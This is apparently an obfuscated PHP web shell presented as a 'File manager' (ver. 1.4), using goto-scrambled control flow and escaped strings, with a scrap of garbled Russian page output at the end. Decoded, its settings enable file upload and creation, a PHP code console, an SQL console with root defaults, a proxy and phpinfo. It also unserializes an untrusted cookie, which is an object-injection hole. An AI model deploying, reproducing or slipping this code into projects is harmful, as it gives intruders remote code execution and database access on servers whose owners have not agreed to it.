goto nratz; DvHoF: if (empty($_COOKIE["\146\155\x5f\143\x6f\156\146\151\x67"])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE["\x66\x6d\x5f\x63\x6f\156\146\151\147"]); } goto k8v3R; wypXW: $fm_default_config = array("\155\x61\x6b\145\137\144\x69\162\145\x63\164\x6f\162\x79" => true, "\x6e\145\167\x5f\x66\151\154\145" => true, "\x75\160\154\157\141\x64\x5f\x66\x69\154\145" => true, "\x73\150\157\x77\x5f\x64\151\x72\x5f\163\x69\x7a\x65" => false, "\163\x68\157\x77\x5f\151\155\x67" => true, "\x73\150\x6f\x77\x5f\160\x68\x70\x5f\166\x65\162" => true, "\x73\x68\x6f\167\137\x70\x68\x70\x5f\x69\x6e\151" => false, "\x73\150\x6f\167\x5f\147\164" => true, "\145\156\x61\142\x6c\145\137\x70\150\160\x5f\x63\x6f\x6e\x73\157\x6c\145" => true, "\145\156\x61\x62\x6c\145\x5f\163\161\x6c\x5f\x63\x6f\156\x73\x6f\x6c\145" => true, "\x73\161\x6c\x5f\163\145\x72\166\x65\162" => "\x6c\157\143\x61\154\150\x6f\x73\164", "\163\x71\x6c\x5f\x75\x73\145\x72\156\x61\x6d\x65" => "\162\x6f\x6f\164", "\x73\161\154\137\x70\x61\x73\x73\167\x6f\x72\144" => '', "\163\x71\x6c\x5f\x64\142" => "\x74\145\x73\x74\x5f\x62\x61\x73\x65", "\145\156\x61\x62\x6c\x65\x5f\x70\162\157\170\x79" => true, "\163\x68\157\167\x5f\160\x68\160\151\x6e\x66\x6f" => true, "\x73\x68\157\167\137\170\154\x73" => true, "\146\155\137\x73\145\x74\x74\151\x6e\x67\163" => true, "\162\x65\163\x74\x6f\162\x65\x5f\164\x69\155\145" => true, "\146\x6d\137\x72\145\163\164\157\x72\145\137\164\x69\155\145" => false); goto DvHoF; Kn1PS: if ($auth["\141\165\x74\x68\157\162\151\x7a\x65"]) { if (isset($_POST["\154\x6f\147\x69\x6e"]) && isset($_POST["\x70\141\x73\x73\x77\x6f\x72\x64"])) { if ($_POST["\x6c\157\147\x69\x6e"] == $auth["\x6c\x6f\x67\151\x6e"] && $_POST["\160\x61\x73\x73\x77\157\162\x64"] == $auth["\x70\141\163\x73\x77\x6f\162\x64"]) { setcookie($auth["\143\x6f\x6f\x6b\151\145\137\x6e\x61\x6d\145"], $auth["\154\157\147\x69\x6e"] . "\174" . md5($auth["\160\141\x73\x73\x77\157\162\144"]), time() + 86400 * $auth["\x64\x61\x79\x73\x5f\141\x75\x74\150\157\x72\151\172\141\164\151\x6f\156"]); $_COOKIE[$auth["\x63\x6f\157\153\x69\145\137\156\141\x6d\145"]] = $auth["\x6c\157\147\151\156"] . "\x7c" . md5($auth["\160\x61\163\x73\x77\157\x72\144"]); } } if (!isset($_COOKIE[$auth["\143\x6f\x6f\153\x69\x65\137\x6e\x61\x6d\145"]]) or $_COOKIE[$auth["\x63\157\x6f\153\x69\x65\x5f\x6e\141\155\x65"]] != $auth["\x6c\x6f\147\151\x6e"] . "\x7c" . md5($auth["\x70\141\x73\x73\x77\x6f\x72\x64"])) { echo "\xa\x3c\x21\144\x6f\143\x74\171\160\145\x20\150\x74\155\x6c\x3e\xa\74\150\164\155\x6c\76\12\x3c\150\145\141\x64\x3e\12\74\x6d\145\x74\x61\40\143\x68\141\162\163\145\164\75\x22\165\x74\146\55\x38\42\40\x2f\76\12\74\155\145\x74\x61\40\x6e\141\x6d\145\x3d\42\x76\x69\x65\x77\x70\x6f\x72\x74\42\x20\143\157\x6e\x74\145\156\164\75\x22\167\x69\144\x74\150\x3d\144\x65\166\x69\x63\145\55\x77\x69\x64\x74\x68\x2c\40\151\156\x69\164\x69\x61\154\55\163\143\141\154\145\75\x31\42\x20\57\x3e\xa\74\164\x69\164\x6c\x65\76" . __("\x46\x69\154\x65\40\155\141\156\x61\147\x65\x72") . "\x3c\57\164\151\x74\x6c\145\76\12\x3c\57\x68\x65\141\x64\x3e\12\74\142\157\x64\x79\x3e\12\74\146\x6f\162\x6d\x20\141\143\164\x69\x6f\156\75\42\x22\x20\155\x65\x74\x68\x6f\x64\x3d\42\160\157\x73\164\x22\x3e\12" . __("\114\157\x67\x69\x6e") . "\40\74\x69\156\x70\165\164\x20\156\x61\x6d\x65\75\x22\154\157\147\151\x6e\x22\x20\164\171\x70\145\75\42\164\145\x78\x74\42\x3e\x26\156\x62\163\160\x3b\x26\x6e\142\163\x70\73\x26\x6e\142\163\x70\73\12" . __("\x50\141\x73\x73\167\x6f\162\x64") . "\40\x3c\151\x6e\160\x75\x74\40\156\x61\155\x65\x3d\x22\x70\141\x73\163\167\x6f\162\144\42\40\164\x79\x70\145\75\x22\160\x61\163\163\x77\157\x72\x64\42\76\x26\x6e\x62\x73\160\73\x26\x6e\142\163\x70\x3b\46\x6e\x62\x73\160\x3b\xa\x3c\x69\156\x70\165\164\40\164\x79\160\x65\x3d\42\163\x75\142\x6d\151\164\x22\x20\166\x61\154\x75\x65\75\42" . __("\x45\x6e\164\x65\162") . "\x22\40\143\x6c\141\x73\163\75\x22\x66\155\137\151\x6e\x70\x75\x74\x22\76\12\x3c\57\x66\x6f\x72\155\76\12" . fm_lang_form($language) . "\12\x3c\57\x62\157\144\x79\76\12\74\57\150\164\x6d\x6c\76\12"; die; } if (isset($_POST["\x71\x75\151\x74"])) { unset($_COOKIE[$auth["\143\157\157\153\x69\145\137\x6e\141\155\145"]]); setcookie($auth["\x63\157\x6f\x6b\151\x65\x5f\156\x61\x6d\x65"], '', time() - 86400 * $auth["\144\141\171\x73\137\x61\x75\x74\150\157\x72\151\x7a\x61\164\151\157\156"]); header("\x4c\x6f\143\x61\x74\x69\x6f\x6e\72\40" . fm_site_url() . $_SERVER["\122\x45\121\x55\x45\x53\124\x5f\125\122\111"]); } } goto hvBnv; IXMCN: function fm_convert_rights($mode) { $mode = str_pad($mode, 9, "\55"); $trans = array("\55" => "\60", "\x72" => "\64", "\x77" => "\x32", "\170" => "\x31"); $mode = strtr($mode, $trans); $newmode = "\x30"; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } goto JYqzq; dsWZ_: if (!empty($fm_config["\x73\x68\x6f\x77\x5f\x70\x68\x70\x5f\166\145\x72"])) { echo "\40\174\40\120\110\120\40" . phpversion(); } goto kWqrA; TmNBc: $langs = array("\145\156", "\162\165", "\144\145", "\x66\x72", "\x75\x6b"); goto LaT3t; WJDJs: if (!empty($fm_config["\x73\150\157\167\137\x70\150\160\151\156\x66\157"])) { echo "\40\174\x20\x3c\141\x20\150\x72\x65\146\75\x22\x3f\x70\150\x70\x69\x6e\x66\157\75\x74\x72\165\x65\42\76\x70\150\x70\151\x6e\x66\x6f\74\x2f\x61\x3e"; } goto Z6f3w; tE3im: echo fm_home_style(); goto Dp2ST; GZYQW: function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config["\x65\156\141\x62\154\145\x5f" . $lng . "\137\143\157\156\x73\157\154\x65"]) ? "\xa\x9\x9\x9\11\74\x66\x6f\162\155\x20\40\155\x65\164\x68\157\x64\x3d\42\160\157\x73\164\42\40\x61\x63\x74\x69\x6f\156\75\42" . fm_url() . "\x22\x20\x73\164\x79\154\145\x3d\x22\144\x69\x73\x70\154\x61\x79\72\x69\x6e\x6c\151\x6e\x65\x22\76\xa\x9\11\x9\x9\x3c\151\156\x70\165\164\40\164\x79\x70\145\75\x22\x73\165\142\x6d\151\164\42\x20\x6e\x61\x6d\145\75\42" . $lng . "\x72\165\156\x22\x20\x76\x61\154\165\x65\x3d\42" . strtoupper($lng) . "\40" . __("\x43\157\156\163\157\154\x65") . "\x22\x3e\xa\11\x9\x9\11\74\57\x66\157\162\x6d\x3e\12" : ''; return $return; } goto uu10I; EvF3B: function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 49152) == 49152) { $info = "\163"; } elseif (($perms & 40960) == 40960) { $info = "\154"; } elseif (($perms & 32768) == 32768) { $info = "\x2d"; } elseif (($perms & 24576) == 24576) { $info = "\142"; } elseif (($perms & 16384) == 16384) { $info = "\144"; } elseif (($perms & 8192) == 8192) { $info = "\x63"; } elseif (($perms & 4096) == 4096) { $info = "\x70"; } else { $info = "\x75"; } } $info .= $perms & 256 ? "\x72" : "\55"; $info .= $perms & 128 ? "\167" : "\55"; $info .= $perms & 64 ? $perms & 2048 ? "\x73" : "\x78" : ($perms & 2048 ? "\123" : "\55"); $info .= $perms & 32 ? "\162" : "\55"; $info .= $perms & 16 ? "\x77" : "\x2d"; $info .= $perms & 8 ? $perms & 1024 ? "\x73" : "\x78" : ($perms & 1024 ? "\x53" : "\55"); $info .= $perms & 4 ? "\162" : "\x2d"; $info .= $perms & 2 ? "\167" : "\x2d"; $info .= $perms & 1 ? $perms & 512 ? "\164" : "\170" : ($perms & 512 ? "\x54" : "\55"); return $info; } goto IXMCN; Ya9y7: $phar_maybe = version_compare(phpversion(), "\x35\56\63\56\60", "\74") ? true : false; goto NfGfB; PgU1X: function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } goto i7ggp; X7jfK: ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка